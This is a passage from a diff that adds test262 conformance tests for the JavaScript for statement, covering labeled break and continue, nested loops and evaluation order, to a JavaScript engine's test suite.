+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-9.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a String object (value is 'null')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var strObj = new String("null");
+ for (var i = 0; strObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A1.js
new file mode 100644
index 000000000..dd200559c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "for {;;}" for Statement with empty expressions is allowed and leads to performing an infinite loop
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A1.js
+ * @description Breaking an infinite loop by throwing exception
+ */
+
+var __in__for = 0;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for (;;){
+ //__in__for++;
+ if(++__in__for>100)throw 1;
+}
+} catch (e) {
+ if (e !== 1) {
+ $ERROR('#1: for {;;} is admitted and leads to infinite loop');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__in__for !== 101) {
+ $ERROR('#2: __in__for === 101. Actual: __in__for ==='+ __in__for );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.1.js
new file mode 100644
index 000000000..13bfc59ff
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.1.js
@@ -0,0 +1,111 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Nested "var-loops" nine blocks depth is evaluated properly
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A10.1.js
+ * @description Checking if executing nested "var-loops" nine blocks depth is evaluated properly
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ __in__deepest__loop=__in__deepest__loop;
+} catch (e) {
+ $ERROR('#1: "__in__deepest__loop=__in__deepest__loop" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ index0=index0;
+} catch (e) {
+ $ERROR('#2: "index0=index0" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try {
+ index1=index1;
+} catch (e) {
+ $ERROR('#3: "index1=index1" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+try {
+ index4=index4;
+} catch (e) {
+ $ERROR('#4: "index4=index4" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+try {
+ index5=index5;
+} catch (e) {
+ $ERROR('#4: "index5=index5" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+try {
+ index7=index7;
+} catch (e) {
+ $ERROR('#6: "index7=index7" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#7
+try {
+ index8=index8;
+} catch (e) {
+ $ERROR('#7: "index8=index8" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+for( var index0=0; index0<=1; index0++) {
+ for(var index1=0; index1<=index0; index1++) {
+ for( index2=0; index2<=index1; index2++) {
+ for( index3=0; index3<=index2; index3++) {
+ for(var index4=0; index4<=index3; index4++) {
+ for(var index5=0; index5<=index4; index5++) {
+ for( index6=0; index6<=index5; index6++) {
+ for(var index7=0; index7<=index6; index7++) {
+ for(var index8=0; index8<=index1; index8++) {
+ var __in__deepest__loop;
+ __str+=""+index0+index1+index2+index3+index4+index5+index6+index7+index8+'\n';
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str!== "000000000\n100000000\n110000000\n110000001\n111000000\n111000001\n111100000\n111100001\n111110000\n111110001\n111111000\n111111001\n111111100\n111111101\n111111110\n111111111\n") {
+ $ERROR('#2: __str === "000000000\\n100000000\\n110000000\\n110000001\\n111000000\\n111000001\\n111100000\\n111100001\\n111110000\\n111110001\\n111111000\\n111111001\\n111111100\\n111111101\\n111111110\\n111111111\\n". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.js
new file mode 100644
index 000000000..fb17b0b2c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A10.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Nested "var-loops" nine blocks depth is evaluated properly
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A10.js
+ * @description Checking if executing nested "var-loops" nine blocks depth is evaluated properly
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ __in__deepest__loop=__in__deepest__loop;
+} catch (e) {
+ $ERROR('#1: "__in__deepest__loop=__in__deepest__loop" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+for( index0=0; index0<=1; index0++) {
+ for( index1=0; index1<=index0; index1++) {
+ for( index2=0; index2<=index1; index2++) {
+ for( index3=0; index3<=index2; index3++) {
+ for( index4=0; index4<=index3; index4++) {
+ for( index5=0; index5<=index4; index5++) {
+ for( index6=0; index6<=index5; index6++) {
+ for( index7=0; index7<=index6; index7++) {
+ for( index8=0; index8<=index1; index8++) {
+ var __in__deepest__loop;
+ __str+=""+index0+index1+index2+index3+index4+index5+index6+index7+index8+'\n';
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str!== "000000000\n100000000\n110000000\n110000001\n111000000\n111000001\n111100000\n111100001\n111110000\n111110001\n111111000\n111111001\n111111100\n111111101\n111111110\n111111111\n") {
+ $ERROR('#2: __str === "000000000\\n100000000\\n110000000\\n110000001\\n111000000\\n111000001\\n111100000\\n111100001\\n111110000\\n111110001\\n111111000\\n111111001\\n111111100\\n111111101\\n111111110\\n111111111\\n". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T1.js
new file mode 100644
index 000000000..d050b3dbc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled "var-loop" breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11.1_T1.js
+ * @description Using "continue" in order to continue a loop
+ */
+
+__str=""
+
+for(var index=0; index<10; index+=1) {
+ if (index<5)continue;
+ __str+=index;
+}
+
+if (__str!=="56789") {
+ $ERROR('#1: __str === "56789". Actual: __str ==='+ __str );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T2.js
new file mode 100644
index 000000000..cc0233d41
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T2.js
@@ -0,0 +1,63 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled "var-loop" breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11.1_T2.js
+ * @description Embedded loops
+ */
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue nested;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str !== "001011202122303133") {
+ $ERROR('#1: __str === "001011202122303133". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue outer;
+ __str+=""+index+index_n;
+ }
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== "0010112021223031") {
+ $ERROR('#2: __str === "0010112021223031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue ;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__str !== "001011202122303133") {
+ $ERROR('#3: __str === "001011202122303133". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T3.js
new file mode 100644
index 000000000..d02abf292
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11.1_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled "var-loop" breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11.1_T3.js
+ * @description Trying to continue non-existent label
+ * @negative
+ */
+
+__str="";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+outer:for(var index=0;index<4;index+=1){
+ nested:for(var index_n=0;index_n<=index;index_n++){
+ if(index*index_n == 6)continue nonexist;
+ __str+=""+index+index_n;
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T1.js
new file mode 100644
index 000000000..192f1ebd5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled loop breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11_T1.js
+ * @description Simple test of continue loop with using "continue"
+ */
+
+__str=""
+
+for(index=0; index<10; index+=1) {
+ if (index<5)continue;
+ __str+=index;
+}
+
+if (__str!=="56789") {
+ $ERROR('#1: __str === "56789". Actual: __str ==='+ __str );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T2.js
new file mode 100644
index 000000000..cdc606b5c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T2.js
@@ -0,0 +1,63 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled loop breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11_T2.js
+ * @description Embedded loops
+ */
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue nested;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str !== "001011202122303133") {
+ $ERROR('#1: __str === "001011202122303133". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue outer;
+ __str+=""+index+index_n;
+ }
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== "0010112021223031") {
+ $ERROR('#2: __str === "0010112021223031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n == 6)continue ;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__str !== "001011202122303133") {
+ $ERROR('#3: __str === "001011202122303133". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T3.js
new file mode 100644
index 000000000..2807bc86f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A11_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "continue" and (Evaluate Statement).target is in the current label set, iteration of labeled loop breaks
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A11_T3.js
+ * @description Trying to continue non-existent label
+ * @negative
+ */
+
+__str="";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+outer:for(index=0;index<4;index+=1){
+ nested:for(index_n=0;index_n<=index;index_n++){
+ if(index*index_n == 6)continue nonexist;
+ __str+=""+index+index_n;
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T1.js
new file mode 100644
index 000000000..48fc3b30c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a "var-loop"
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12.1_T1.js
+ * @description Breaking a loop with "break"
+ */
+
+__str=""
+
+for(var index=0; index<10; index+=1) {
+ if (index>5)break;
+ __str+=index;
+}
+
+if (__str!=="012345") {
+ $ERROR('#1: __str === "012345". Actual: __str ==='+ __str );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T2.js
new file mode 100644
index 000000000..939fd991d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T2.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a "var-loop"
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12.1_T2.js
+ * @description Embedded loops
+ */
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break nested;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str !== "00101120213031") {
+ $ERROR('#1: __str === "00101120213031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break outer;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== "0010112021") {
+ $ERROR('#2: __str === "0010112021". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(var index=0; index<4; index+=1) {
+ nested : for(var index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break ;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__str !== "00101120213031") {
+ $ERROR('#3: __str === "00101120213031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T3.js
new file mode 100644
index 000000000..96a5accd9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a "var-loop"
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12.1_T3.js
+ * @description Trying to break non-existent label
+ * @negative
+ */
+
+__str="";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+outer:for(var index=0;index<4;index+=1){
+ nested:for(var index_n=0;index_n<=index;index_n++){
+ if(index*index_n >= 4)break nonexist;
+ __str+=""+index+index_n;
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T1.js
new file mode 100644
index 000000000..55031321d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a loop
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12_T1.js
+ * @description Breaking a loop with "break"
+ */
+
+__str=""
+
+for(index=0; index<10; index+=1) {
+ if (index>5)break;
+ __str+=index;
+}
+
+if (__str!=="012345") {
+ $ERROR('#1:__str === "012345". Actual: __str ==='+__str );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T2.js
new file mode 100644
index 000000000..e97dc7da3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T2.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a loop
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12_T2.js
+ * @description Embedded loops
+ */
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break nested;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str !== "00101120213031") {
+ $ERROR('#1: __str === "00101120213031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break outer;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== "0010112021") {
+ $ERROR('#2: __str === "0010112021". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+__str="";
+
+outer : for(index=0; index<4; index+=1) {
+ nested : for(index_n=0; index_n<=index; index_n++) {
+ if (index*index_n >= 4)break ;
+ __str+=""+index+index_n;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__str !== "00101120213031") {
+ $ERROR('#3: __str === "00101120213031". Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T3.js
new file mode 100644
index 000000000..67fd236cd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A12_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If (Evaluate Statement).type is "break" and (Evaluate Statement).target is in the current label set, (normal, (Evaluate Statement), empty) is returned while evaluating a loop
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A12_T3.js
+ * @description Trying to break non-existent label
+ * @negative
+ */
+
+__str="";
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+outer:for(index=0;index<4;index+=1){
+ nested:for(index_n=0;index_n<=index;index_n++){
+ if(index*index_n >= 4)break nonexist;
+ __str+=""+index+index_n;
+ }
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A13.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A13.js
new file mode 100644
index 000000000..452902537
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A13.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * VariableDeclaration in "var VariableDeclarationListNoIn" of for IterationStatement is allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A13.js
+ * @description Declaring variable in "for" ExpressionNoIn
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ index = index;
+} catch (e) {
+ $ERROR('#1: VariableDeclaration in "var VariableDeclarationListNoIn" of for IterationStatement is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+for(var index=0; index<6; index++) {
+ ;
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A14.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A14.js
new file mode 100644
index 000000000..182482dd9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A14.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationListNoIn; Expression; Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A14.js
+ * @description Using +,*,/, as the second Expression
+ */
+
+//CHECK#1
+for(var i=0;i<10;i++){}
+if (i!==10) $ERROR('#1: i === 10. Actual: i ==='+ i );
+
+//CHECK#2
+var j=0;
+for(var i=1;i<10;i*=2){
+ j++;
+}
+if (i!==16) $ERROR('#2.1: i === 16. Actual: i ==='+ i );
+if (j!==4) $ERROR('#2.2: j === 4. Actual: j ==='+ j );
+
+//CHECK#3
+var j=0;
+for(var i=16;i>1;i=i/2){
+ j++;
+}
+if (i!==1) $ERROR('#3.1: i === 1. Actual: i ==='+ i );
+if (j!==4) $ERROR('#3.2: j === 4. Actual: j ==='+ j );
+
+//CHECK#4
+var j=0;
+for(var i=10;i>1;i--){
+ j++;
+}
+if (i!==1) $ERROR('#4.1: i === 1. Actual: i ==='+ i );
+if (j!==9) $ERROR('#4.2: j === 9. Actual: j ==='+ j );
+
+//CHECK#5
+var j=0;
+for(var i=2;i<10;i*=i){
+ j++;
+}
+if (i!==16) $ERROR('#5.1: i === 16. Actual: i ==='+ i );
+if (j!==2) $ERROR('#5.2: j === 2. Actual: j ==='+ j );
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A15.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A15.js
new file mode 100644
index 000000000..4ec6147b9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A15.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationListNoIn; Expression; Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A15.js
+ * @description Statement must be evaluated before second Expression is evaluated
+ */
+
+//CHECK#1
+for(var i=0;i<10;i++){
+ i*=2;
+ break;
+}
+if (i!==0) $ERROR('#1: i === 0. Actual: i ==='+ i );
+
+//CHECK#2
+for(var i=0;i<10;i++){
+ i*=2;
+ if (i===3) $ERROR('#2: i !== 3');
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.1.js
new file mode 100644
index 000000000..78372a2d7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "for (ExpressionNoIn ; ; Expression) Statement", Statement is evaulated first
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A2.1.js
+ * @description Using "(function(){throw "NoInExpression"})()" as ExpressionNoIn
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for((function(){throw "NoInExpression"})(); ;(function(){throw "SecondExpression"})()) {
+ throw "Statement";
+ }
+ $ERROR('#1: (function(){throw "NoInExpression"})() lead to throwing exception');
+} catch (e) {
+ if (e !== "NoInExpression") {
+ $ERROR('#2: When for (ExpressionNoIn ; ; Expression) Statement is evaluated NoInExpression evaluates first');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.2.js
new file mode 100644
index 000000000..f6391e2f7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "for (ExpressionNoIn;;) Statement", Statement is evaulated first
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A2.2.js
+ * @description Using "(function(){throw "NoInExpression"})()" as ExpressionNoIn
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for((function(){throw "NoInExpression"})();;) {
+ throw "Statement";
+ }
+ $ERROR('#1: (function(){throw "NoInExpression"})() lead to throwing exception');
+} catch (e) {
+ if (e !== "NoInExpression") {
+ $ERROR('#1: When for (ExpressionNoIn ; ; ) Statement is evaluated NoInExpression evaluates first');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.js
new file mode 100644
index 000000000..86718d9d1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "for (ExpressionNoIn; Expression; Expression) Statement", ExpressionNoIn is evaulated first
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A2.js
+ * @description Using "(function(){throw "NoInExpression"})()" as ExpressionNoIn
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for((function(){throw "NoInExpression";})(); (function(){throw "FirstExpression";})(); (function(){throw "SecondExpression";})()) {
+ var in_for = "reached";
+ }
+ $ERROR('#1: (function(){throw "NoInExpression";})() lead to throwing exception');
+} catch (e) {
+ if (e !== "NoInExpression") {
